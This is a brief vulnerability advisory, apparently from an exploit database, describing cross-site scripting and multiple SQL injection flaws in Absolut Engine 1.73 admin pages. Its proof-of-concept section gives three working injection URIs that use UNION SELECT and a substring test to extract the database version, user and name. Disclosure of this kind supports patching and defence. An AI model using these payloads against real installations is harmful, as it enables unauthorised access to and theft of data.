Discussion

Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities

Absolut Engine is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Absolut Engine 1.73 is vulnerable; other versions may also be affected.

Exploit / POC

Absolut Engine Cross Site Scripting and Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit the SQL-injection issues. An attacker must trick a victim into following a malicious URI to exploit a cross-site scripting issue.

The following example URIs are available:

http://www.example.com/admin/managersection.php?&username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&sectionID=1%27+and+1=2+union+select+1,version%28%29,3,4,5,6+--+*

http://www.example.com/admin/edituser.php?username=admin&session=c8d7ebc95b9b1a72d3b54eb59bea56c7&userID=3%27+and+1=2+union+select+1,user%28%29,3,version%28%29,5,database%28%29,7,8,9+--+*

http://www.example.com/admin/admin.php?username=admin%27+and+substring%28user%28%29,1,4%29=%27root%27+--+&session=c8d7ebc95b9b1a72d3b54eb59bea56c7*
